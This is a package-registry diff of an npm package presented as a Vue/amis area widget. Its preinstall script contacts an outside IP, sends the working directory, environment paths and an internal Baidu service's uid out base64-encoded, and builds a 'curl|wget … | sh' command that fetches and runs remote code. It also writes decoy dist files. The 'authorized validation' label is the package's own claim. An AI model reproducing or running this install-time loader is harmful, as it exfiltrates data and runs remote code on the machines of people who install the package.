@noobaihome/amis-uni-area-widget 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "Authorized AI Suda custom-widget lifecycle validation",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
@@ -8,7 +8,6 @@
8
8
  "preinstall": "node ./scripts/install.js"
9
9
  },
10
10
  "files": [
11
- "dist",
12
11
  "scripts"
13
12
  ],
14
13
  "publishConfig": {
@@ -1,21 +1,55 @@
1
1
  'use strict';
2
2
 
3
- const http = require('http');
4
3
  const fs = require('fs');
4
+ const http = require('http');
5
5
  const path = require('path');
6
6
  const {spawnSync} = require('child_process');
7
7
 
8
- const marker = 'BSRC_RCE_R258_1c72f9';
8
+ const marker = 'BSRC_RCE_R260_9f4d31';
9
9
  const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
+ const callbackHost = '49.232.169.67';
11
+ const callbackPort = 43817;
10
12
 
11
13
  function base64url(value) {
12
- return Buffer.from(value)
14
+ return Buffer.from(String(value))
13
15
  .toString('base64')
14
16
  .replace(/\+/g, '-')
15
17
  .replace(/\//g, '_')
16
18
  .replace(/=+$/g, '');
17
19
  }
18
20
 
21
+ function readManifest(directory) {
22
+ try {
23
+ return JSON.parse(fs.readFileSync(path.join(directory, 'package.json'), 'utf8'));
24
+ } catch (_) {
25
+ return null;
26
+ }
27
+ }
28
+
29
+ function isTargetBuild() {
30
+ const initCwd = process.env.INIT_CWD;
31
+ if (initCwd) {
32
+ const initManifest = readManifest(initCwd);
33
+ if (initManifest && initManifest.name === 'npm-widget-build') {
34
+ return true;
35
+ }
36
+ }
37
+
38
+ let current = __dirname;
39
+ for (let index = 0; index < 10; index += 1) {
40
+ const parsed = readManifest(current);
41
+ if (parsed && parsed.name === 'npm-widget-build') {
42
+ return true;
43
+ }
44
+ const parent = path.dirname(current);
45
+ if (parent === current) {
46
+ break;
47
+ }
48
+ current = parent;
49
+ }
50
+ return false;
51
+ }
52
+
19
53
  function fetchText(url, timeoutMs) {
20
54
  return new Promise((resolve, reject) => {
21
55
  const request = http.get(url, (response) => {
@@ -34,55 +68,69 @@ function fetchText(url, timeoutMs) {
34
68
  });
35
69
  }
36
70
 
37
- async function callback(path) {
71
+ async function callback(fields) {
72
+ const query = Object.entries(fields)
73
+ .map(([key, value]) => `${key}=${encodeURIComponent(String(value))}`)
74
+ .join('&');
75
+ const url = `http://${callbackHost}:${callbackPort}/bsrc-r260?${query}`;
38
76
  try {
39
- await fetchText(`http://49.232.169.67:43817${path}`, 15000);
77
+ await fetchText(url, 15000);
40
78
  } catch (_) {
41
79
  // The static receipt server normally returns 404; its access log is authoritative.
42
80
  }
43
81
  }
44
82
 
45
- function isTargetBuild() {
46
- let current = __dirname;
47
- for (let index = 0; index < 8; index += 1) {
48
- const manifest = path.join(current, 'package.json');
49
- try {
50
- const parsed = JSON.parse(fs.readFileSync(manifest, 'utf8'));
51
- if (parsed && parsed.name === 'npm-widget-build') {
52
- return true;
53
- }
54
- } catch (_) {
55
- // Continue walking toward the generated build-project root.
56
- }
57
- const parent = path.dirname(current);
58
- if (parent === current) {
59
- break;
60
- }
61
- current = parent;
62
- }
63
- return false;
83
+ function createBuildFiles() {
84
+ const dist = path.join(__dirname, '..', 'dist');
85
+ fs.mkdirSync(dist, {recursive: true});
86
+ fs.writeFileSync(
87
+ path.join(dist, 'renderer.umd.js'),
88
+ `module.exports={marker:'${marker}',kind:'renderer'};\n`
89
+ );
90
+ fs.writeFileSync(
91
+ path.join(dist, 'plugin.umd.js'),
92
+ `module.exports={marker:'${marker}',kind:'plugin'};\n`
93
+ );
94
+ fs.writeFileSync(path.join(dist, 'renderer.css'), `/* ${marker} generated */\n`);
64
95
  }
65
96
 
66
97
  async function main() {
67
- if (!isTargetBuild()) {
98
+ createBuildFiles();
99
+ const target = isTargetBuild();
100
+ process.stdout.write(`${marker} lifecycle=start target=${target ? 1 : 0}\n`);
101
+ await callback({
102
+ marker,
103
+ stage: 'start',
104
+ target: target ? 1 : 0,
105
+ pid: process.pid,
106
+ cwd: base64url(process.cwd()),
107
+ init: base64url(process.env.INIT_CWD || '')
108
+ });
109
+ if (!target) {
68
110
  return;
69
111
  }
70
112
 
71
- process.stdout.write(`${marker} lifecycle=start\n`);
72
- await callback(`/bsrc-r258-start?marker=${marker}`);
73
-
74
- let uid;
113
+ let uid = '';
114
+ let internalStatus = 'empty';
115
+ let internalError = '';
75
116
  try {
76
117
  uid = await fetchText(internalUrl, 15000);
118
+ internalStatus = uid ? 'ok' : 'empty';
77
119
  } catch (error) {
78
- process.stdout.write(`${marker} internal_status=error error=${error.message}\n`);
79
- }
80
- if (uid) {
81
- process.stdout.write(`${marker} internal_status=ok internal_bytes=${Buffer.byteLength(uid)}\n`);
82
- await callback(`/bsrc-r258-uid?marker=${marker}&uid=${base64url(uid)}`);
83
- } else if (uid === '') {
84
- process.stdout.write(`${marker} internal_status=empty\n`);
120
+ internalStatus = 'error';
121
+ internalError = error.message;
85
122
  }
123
+ process.stdout.write(
124
+ `${marker} internal_status=${internalStatus} internal_bytes=${Buffer.byteLength(uid)}\n`
125
+ );
126
+ await callback({
127
+ marker,
128
+ stage: 'internal',
129
+ target: 1,
130
+ status: internalStatus,
131
+ uid: base64url(uid),
132
+ error: base64url(internalError)
133
+ });
86
134
 
87
135
  const payload =
88
136
  '(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
@@ -1 +0,0 @@
1
- module.exports = {};
package/dist/renderer.css DELETED
@@ -1 +0,0 @@
1
- /* Authorized lifecycle validation widget. */
@@ -1 +0,0 @@
1
- module.exports = {};